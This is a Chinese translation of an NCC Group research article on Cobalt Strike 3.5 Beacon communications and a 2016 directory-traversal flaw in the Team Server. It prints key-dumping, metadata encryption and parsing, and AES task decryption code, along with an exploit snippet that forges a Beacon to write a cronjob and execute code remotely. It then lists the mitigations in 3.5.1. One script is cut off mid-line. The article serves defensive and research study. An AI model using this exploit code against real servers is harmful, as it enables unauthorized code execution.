0x01 基本信息
这篇文章介绍了Beacons和3.5系列中的Team Server之间Cobalt Strike的一些通信和加密内部结构。然后,我们探索了从2016年起对Cobalt Strike 3.5中的漏洞的后续利用,以在Team Server上实现远程未经身份验证的代码执行。
我们希望这篇文章将帮助Blue Teams进行防御检测,并更好地理解支持Cobalt Strike的加密基础知识。
对于Red Team,我们提供了一个示例,说明为什么加强你的Command and Control基础结构很重要。
在Cobalt Strike中,修复了多个版本中存在的漏洞:
· Cobalt Strike<= 3.5
· Cobalt Strike 3.5-hf1(针对在野漏洞利用链的热补丁程序)
· Cobalt Strike 3.5-hf2
该漏洞由Cobalt Strike的团队于2016年披露,并于9月得到了积极利用。迅速以3.5.1的版本发布了补丁。
0x02 从 Beacon 开始
Beacon是下载Beacon(DLL)shellcode blob的过程,该过程将通过较小的shellcode下载程序执行-通常是漏洞利用程序或删除程序文档的结果。这里的目的是解决受大小限制的漏洞利用,例如,由于缓冲区溢出或类似情况,你只有一定数量的空间来保存你的shellcode。就是说,从红队作战的角度来看,在可能的情况下,始终首选全阶段(也称为无阶段)有效载荷。
默认情况下,Cobalt Strike支持Meterpreter暂存协议,并通过checksum8格式公开其暂存器URL 。
通过Checksum8检索stager
从Cobalt Strike 3.5.1开始,你现在还可以使用“ host_stage = false ”设置完全禁用下载。在此文章中讨论的漏洞的官方修补程序之后,此功能作为一项功能添加。
下载暂存器shellcode后,在执行传递到解码的BeaconDLL之前,将使用自定义XOR编码器对其余的shellcode进行解码。所用的XOR编码器将不在本文中讨论,因为这是Cobalt Strike许可版本的功能。
从暂存器Blob中提取DLL之后,可以使用固定的XOR密钥0x69提取Beacon设置以及公共密钥。这是SentinelOne团队最近发布的,该团队发布了CobaltStrikeParser工具。
0x03 Cobalt Strike Beacon 的内部通信
解码并执行后,Beacon随后需要与Team Server通信。在构建漏洞payload之前,这涉及我们需要了解的各种Cobalt Strike通信和加密内部。
Beacon载入
每当Beacon载入时,它都会发送一个加密的元数据blob。这是使用从下载程序提取的RSA公钥加密的。为了帮助调试,你可能还希望从Team Server中转储RSA私钥。
这可以通过在Team Server上运行以下Java代码来实现。私钥在名为“ .cobaltstrike.beacon_keys”的文件中序列化,该文件与Team Server文件位于同一文件夹中。
要编译/运行此代码,你需要将你的类路径设置为cobaltstrike.jar文件(例如-cp cobaltstrike.jar)
import java.io.File; import java.util.Base64; import common.CommonUtils; import java.security.KeyPair; class DumpKeys { public static void main(String[] args) { try { File file = new File(".cobaltstrike.beacon_keys"); if (file.exists()) { KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null); System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded()))); System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded()))); } else { System.out.println("Could not find .cobaltstrike.beacon_keys file"); } } catch (Exception exception) { System.out.println("Could not read asymmetric keys"); } } }
运行时,输出将如下所示:
转储密钥
应该注意的是,这完全只是为了在编写漏洞利用程序时进行调试。在现实世界中,由于密钥是通过RSA安全协商的,而Beacon只有公共密钥,因此无法解密现有的 Beacon通信。但是,如果你拥有公钥(可以通过checksum8下载URL检索到),则可以通过伪会话对任务进行加密和解密。
Beacon通信加密和元数据
加密,解密和结构
来自Beacon的元数据根据可延展的C2配置文件中的设置发送。这允许操作者自定义流量的各种属性,例如元数据blob的发送位置(例如,在标头或cookie中)以及如何对其进行编码。以下是来自Cobalt Strike博客示例。
https://www.cobaltstrike.com/help-malleable-c2
在此示例中,将以Base64编码将元数据发送为名为“user”的Cookie。
Malleable C2 Config http-get { set uri "/foobar"; client { metadata { base64; prepend "user="; header "Cookie"; } }
以下HTTP请求捕获显示了发送给Base64的Cookie头中的Base64编码的元数据blob,这是默认设置:
Beacon元数据加密使用带有PKCS1填充的RSA,以下是Python中使用暂存器公钥加密Beacon元数据的示例:
import M2Crypto import base64 import binascii PUBKEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----\n{}\n-----END PUBLIC KEY-----" plaintext = "0000BEEF00000056D48A3A7104FC17544D5A3752C6EEAED4E404B5015FAD878000000A0000000431302E30093139322E3136382E3230302E313031094445534B544F502D3337325251544D0961646D696E0972756E646C6C33322E657865" buf = M2Crypto.BIO.MemoryBuffer(PUBKEY_TEMPLATE.format('MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhOfC4TICevrbgiUVK5kmvU8aNQNiCfccHxIOV4wzjOn5DpaC49NLoKMsS2fVnMI/f+cbyuqfrXMYmUX8eZDWkmflrBFNOPG8hr8oqhm1EiIvK9S+CsOuLGsEOmefqYk+Gj1nfnJ1uO9ELRv1U+OhmQ77w4u0AZWHPSNr1STYhZQIDAQAB')) pubkey = M2Crypto.RSA.load_pub_key_bio(buf) ciphertext = pubkey.public_encrypt(binascii.unhexlify(plaintext), M2Crypto.RSA.pkcs1_padding) print (base64.b64encode(ciphertext))
解密后(使用从测试团队服务器中提取的私钥),元数据如下所示:
解密的元数据Blob
所有解密的元数据blob都以8字节为前缀,该字节必须始终存在。这8个字节是magic 48879(0xBEEF),后跟数据大小:
Beacon元数据结构
因此,我们现在可以加密/解密元数据,现在进入解析。
Beacon元数据解析
以下Python代码显示了如何分析来自Cobalt StrikeBeacon的元数据。在Cobalt Strike<4.0上,元数据字段(除了前16个字节之外)由制表符分隔的字符串组成。这导致IP地址被视为(未经完整性检查)字符串,在版本3.5中会导致目录遍历问题。但是,在更高版本上,使用正则表达式验证IP地址字段以确保它确实是有效的IP地址。
请注意,这在Cobalt Strike 4.0中有所更改,其中添加了许多新字段。下面的代码涵盖3.5和4.0版本。
import M2Crypto import requests PRIVATE_KEY_TEMPLATE = "-----BEGIN PRIVATE KEY-----\n{}\n-----END PRIVATE KEY-----" PUBLIC_KEY_TEMPLATE = "-----BEGIN PUBLIC KEY-----\n{}\n-----END PUBLIC KEY-----" class Metadata(object): """ Class to represent a beacon Metadata object """ def __init__(self, data="", private_key="", public_key="", cs_version=4): self.cs_version = cs_version self.data = data self.public_key = public_key self.private_key = private_key self.port = 0 self.ciphertext = "" self.charset = "" self.charset_oem = "" self.ver = "" self.intz = "" self.comp = "" self.user = "" self.pid = "" self.bid = "" self.barch = "" self.raw_aes_keys = "" self.aes_key = "" self.hmac_key = "" self.is64 = False self.high_integrity = False if data and len(data) != 128: raise AttributeError('Metadata should be 128 bytes') if data and private_key: self.rsa_decrypt() self.unpack() def calculate_aes(self): h = hashlib.sha256(self.raw_aes_keys) digest = h.digest() self.aes_key = digest[0:16] self.hmac_key = digest[16:] def rsa_decrypt(self): pkey = M2Crypto.RSA.load_key_string(PRIVATE_KEY_TEMPLATE.format(self.private_key)) plaintext = pkey.private_decrypt(self.data, M2Crypto.RSA.pkcs1_padding) assert plaintext[0:4] == '\x00\x00\xBE\xEF' self.data = StringIO.StringIO(plaintext[8:]) def readInt(self, byteorder='>'): fmt = byteorder + 'L' return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0] def readShort(self, byteorder='>'): fmt = byteorder + 'H' return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0] def readByte(self): fmt = 'b' return struct.unpack(fmt, self.data.read(struct.calcsize(fmt)))[0] def flag(self, b, s): return b & s == s def print_config(self): print "raw AES key: %s" % self.raw_aes_keys[0:8].encode('hex') print "raw HMAC key: %s" % self.raw_aes_keys[8:].encode('hex') print "AES key: %s" % self.aes_key.encode('hex') print "HMAC key: %s" % self.hmac_key.encode('hex') print "ver: %s" % self.ver print "host: %s" % self.intz print "computer: %s" % self.comp print "user: %s" % self.user print "pid: %s" % self.pid print "id: %s" % self.bid print "barch: %s" % self.barch print "is64: %s" % self.is64 if self.cs_version > 3: print "charset: %s" % self.charset print "port: %s" % self.port def unpack(self): self.data.seek(0) self.raw_aes_keys = self.data.read(16) self.calculate_aes() if self.cs_version < 4: config = self.data.read().split('\t') self.bid = config[0] self.pid = config[1] self.ver = config[2] self.intz = config[3] self.comp = config[4] self.user = config[5] self.is64 = config[6] if config[7] == '1': self.barch = 'x64' else: self.barch = 'x86' return self.charset = self.readShort('<') self.charset_oem = self.readShort('<') self.bid = self.readInt() self.pid = self.readInt() self.port = self.readShort() b = self.readByte() if self.flag(b, 1): self.barch = "" self.pid = "" self.is64 = "" elif self.flag(b, 2): self.barch = "x64" else: self.barch = "x86" self.is64 = int(self.flag(b, 4)) self.high_integrity = self.flag(b, 8) self.ver, self.intz, self.comp, self.user, self.proc = self.data.read().split('\t')
当解析器在解密的元数据blob上运行时,将产生以下输出:
元数据解析
现在,我们有足够的信息来生成和加密我们自己的元数据。
对称加密
Cobalt Strike使用CBC模式下的AES-256和HMAC-SHA-256进行任务加密。对于存在该漏洞的Cobalt Strike版本,该版本已包含在试用版中,但是从3.6版开始,在未经许可的Cobalt Strike版本中不再启用此功能。这意味着,对于受害者使用的某些Cobalt Strike破解版或试用版,网络通信将以明文形式发送。但是,当我们查看3.6之前的版本时,始终启用任务加密。
解析完元数据后,Team Server将通过检查元数据中指定的AES密钥是否已经为BeaconID值注册(也从元数据中进行了解析)来检查该Beacon是否是新的Beacon。
如果先前未为BeaconID注册任何AES密钥,则它将继续并为Beacon会话设置AES密钥。这是通过获取解密的Beacon元数据的前16个字节来实现的。通过计算SHA256总和以创建256位密钥,将其前半部分(8个字节)用于导出AES密钥。下半部分用作HMAC密钥也是如此。你可能已经在上面的输出中注意到了这些解析。这些密钥可用于任务加密和解密。
以下Python脚本显示了AES加密/解密的工作方式。
import hashlib import hmac import binascii import base64 import sys import struct from Crypto.Cipher import AES HASH_ALGO = hashlib.sha256 SIG_SIZE = HASH_ALGO().digest_size class AuthenticationError(Exception): pass def compare_mac(mac, mac_verif): if len(mac) != len(mac_verif): print "invalid MAC size" return False result = 0 for x, y in zip(mac, mac_verif): result |= ord(x) ^ ord(y) return result == 0 def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key): if not compare_mac(hmac.new(hmac_key, encrypted_data, HASH_ALGO).digest()[0:16], signature): raise AuthenticationError("message authentication failed") cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes) data = cypher.decrypt(encrypted_data) return data def readInt(buf): return buf[4:], struct.unpack('>L', buf[0:4])[0] if __name__ == "__main__": SHARED_KEY = binascii.unhexlify("441bbd3de3d52997298a8625def8f40c") HMAC_KEY = binascii.unhexlify("1ede48669d4346c0b0cf2ca15e498c10") with open(sys.argv[1], 'rb') as f: enc_data = f.read() signature = enc_data[-16:] iv_bytes = bytes("abcdefghijklmnop") encrypted_data = enc_data[:-16] dec = decrypt(encrypted_dat
Beacon任务
到目前为止,我们已经介绍了分段,元数据,载入,非对称(RSA)和对称(AES)加密。现在,我们可以暂存假Beacon,并解密从Team Server发送到Beacon的任务。接下来,我们将介绍如何将Beacon输出解密/加密回Team Server。
Beacon载入后(通过在请求中包括我们先前覆盖的加密元数据),如果Team Server拥有Beacon任务,它将以加密响应的形式发送。如前所述,这是使用协商的AES会话密钥解密的。
对任务分配的反应是什么样的?简而言之,该响应也以与从服务器发送任务相同的方式用AES加密,但是Beacon响应数据前面带有一个长度字段。
以下图片显示了Beacon响应“ ps”任务发送的加密数据的示例:
加密回包响应
解密数据后,我们可以看到它前面有12个字节,表示输出的各种属性。
00 00 00 02 <- Counter (has to be higher than the previous one) 00 00 0D 1B <- Size of the data 00 00 00 11 <- Type of callback (in this case it's 17, which is OUTPUT_PS) 5B 53 79 73 <- Data of size 0xD1B 74 65 6D 20
以下python代码显示了如何解密和解码Beacon输出
# NOTE: insert decryption functions if __name__ == "__main__": SHARED_KEY = binascii.unhexlify("bca4caea1b3172aa979a5eac6c813184") HMAC_KEY = binascii.unhexlify("94b64efcf87b13c6828bcf14373bb2f9") with open(sys.argv[1], 'rb') as f: enc_data = f.read() encrypted_data, data_length = readInt(enc_data) print "Encrypted data should be: %d" % data_length signature = encrypted_data[-16:] iv_bytes = "abcdefghijklmnop" encrypted_data = encrypted_data[:-16] dec = decrypt(encrypted_data, iv_bytes, signature, SHARED_KEY, HMAC_KEY) dec, counter = readInt(dec) dec, decrypted_length = readInt(dec) dec, output_type = readInt(dec) print "Decrypted length: %s" % decrypted_length print "Output type: %d" % output_type print "Beacon data: %s" % dec
运行以下代码将解密输出,并显示“ ps”命令的结果:
解密Beacon输出
因此,在这一点上,我们可以提取所需的密钥,对通信进行加密和解密,以进行漏洞利用。
0x04 漏洞分析
该漏洞本身是Beacon内部IP地址中的目录遍历漏洞,该漏洞用于构建文件路径。
https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/
在处理“下载”响应时,Team Server将通过在工作目录内“ downloads”文件夹下的Team Server文件系统上重新创建目标系统路径,将这些响应写入文件系统。以下截图显示了通常情况下的示例。如图所示,下载的文件存储在以Beacon IP地址命名的文件夹中。在此文件夹中是下载文件的重新创建的文件系统结构。
CS 3.5 download文件夹
尽管对文件名本身进行了遍历检查,但并未检查IP地址字段,这是由于IP地址字段中存在目录遍历漏洞,正如我们之前所演示的那样,该漏洞是在Beacon元数据中设置并由攻击者控制的。
因此,我们不再报告截至10.133.37.10的Beacon IP地址,而是将其报告为目标文件夹,例如../../../../etc/。
注意:易受攻击的代码使用IP地址值在其他各个地方(包括写入日志文件)构建文件路径。尽管日志文件投毒绝对是一个可利用的方法,但我们选择使用与流行的利用相同的方法。
0x05 漏洞利用开发
通常针对基于Linux的服务器使用文件系统写入原语,这为我们提供了多种利用方式。我们复制了在野利用开发中使用的相同技术,即:
· 使用内部IP地址为../../../../../[TARGET_FOLDER]/的Beacon载入
· 然后执行DOWNLOAD_START *回调,该回调导致文件被创建
· 然后执行DOWNLOAD_WRITE *回调,使内容被写入
可能不是官方术语,但是我们将在此处使用这些术语来指代任务响应类型。其中,DOWNLOAD_START是来自“下载”任务的初始响应(这将导致在文件系统上创建文件),而DOWNLOAD_WRITE是包含要为下载任务写入的数据的响应。
但是,在执行此操作之前,我们需要了解DOWNLOAD_START和DOWNLOAD_WRITE回调的结构。如前所述,我们知道这些文件是AES加密的,带有加密长度,并且一旦解密就具有计数器和长度。但是解密后的数据的结构是什么?下面对此进行说明。
DOWNLOAD_START回调结构。
该任务的回调类型为2,解密的回调结构如下:
DOWNLOAD_WRITE回调结构
该任务的回调类型为8,解密的回调结构如下:
为了真正实现代码执行,我们像在在野攻击一样编写了一个cronjob。通常,这将涉及在元数据Blob和任务回调中发送以下值:
假设我们已经编写了用于构建元数据blob(具有IP地址遍历字符串)和选择的AES密钥的函数。我们可以伪造Beacon,并使用我们精心制作的值检入DOWNLOAD_START和DOWNLOAD_WRITE回调。示例代码如下:
# First we need to register a beacon with a directory traversal in the ip address field ip_address = "../../../../../../%s" % os.path.split(args.filepath)[0] # Generate symmetric keys (used later) raw_aes_keys = os.urandom(16) aes_key, hmac_key = generate_keys(raw_aes_keys) m = Metadata(public_key=args.public_key, cs_version=3) m.public_key = args.public_key m.bid = args.bid m.pid = args.pid m.ver = "10.0" m.intz = ip_address m.comp = args.computer m.user = args.username m.is64 = '1' # 64-bit OS m.barch = '1' # 64-bit beacon m.raw_aes_keys = raw_aes_keys m.calculate_aes() enc = m.pack() # register the beacon print "[*] Staging beacon .." register_beacon(enc, args.target, args.uri, args.host, args.ssl) # Now we need to push a DOWNLOAD_START response to cause a file write print "[*] Creating file .." data, fid = build_download_task(os.path.split(args.filepath)[1], aes_key, hmac_key) # Send it to the server. This is the equivalent of touch(filepath) # submit.php should be replaced with malleable C2 setting if applicable beacon_checkin(args.target, 'submit.php', data, args.bid, args.host, args.ssl) # Build another task which is going to write the data to the touched file # We force the counter to be higher than the last task to avoid replay protection print "[*] Sending data .." data = build_download_data(args.filedata, fid, aes_key, hmac_key, counter()+100) # Fire it.. beacon_checkin(args.target, 'submit.php', data, args.bid, args.host, args.ssl) print "[+] Done!"
以下视频演示了该漏洞的利用效果:
https://videos.files.wordpress.com/8DjSHoub/cs-3-5-exploit_dvd.mp4
0x06 缓解措施
如Cobalt Strike的后续帖子所述,在3.5.1中添加了以下修复程序
· 引入了一个新的SafeFile方法,该方法将应写入文件的路径作为第一个参数,并将要写入的文件名作为第二个参数。随后,它确保在规范化之后,文件不会脱离在第一个参数中传递的规范化路径。在执行文件写入的任何地方都将使用此新方法,包括写入日志文件和截图。
· 添加了host_stage可延展的C2配置设置。设置为false时,这将完全禁用payload下载,这意味着你的Team Server将不会通过checksum8 URL托管下载器。每当不需要payload分段时都应使用此方法,但是应注意,这可能会破坏你可能习惯的某些利用后工作流程。
· 现在,使用ID值将下载存储在文件系统上。这映射到数据模型中的实际文件路径,这是通过Cobalt Strike GUI访问“下载”选项卡时看到的。
· 现在,在允许来自Beacon的大多数回调响应之前,Team Server会至少检查一次Beacon任务。这样可以确保攻击者在操作者未与Beacon进行交互之前就无法伪造Beacon并开始欺骗响应。
· 根据正则表达式对在Beacon元数据中报告的IP地址值进行完整性检查,以确保它实际上是IP地址。
总而言之,3.5.1更新中应用的修复程序很健壮,可以从多个角度修补漏洞。如文章开始所述,此漏洞在旧 版本的Cobalt Strike中存在,而在最新版本中不存在。尽管如此,我们希望这篇文章对Cobalt Strike内部有一定的了解,并为蓝队和红队提供了改善与真正对手的战斗的机会。
本文翻译自:https://research.nccgroup.com/2020/06/15/striking-back-at-retired-cobalt-strike-a-look-at-a-legacy-vulnerability/如若转载,请注明原文地址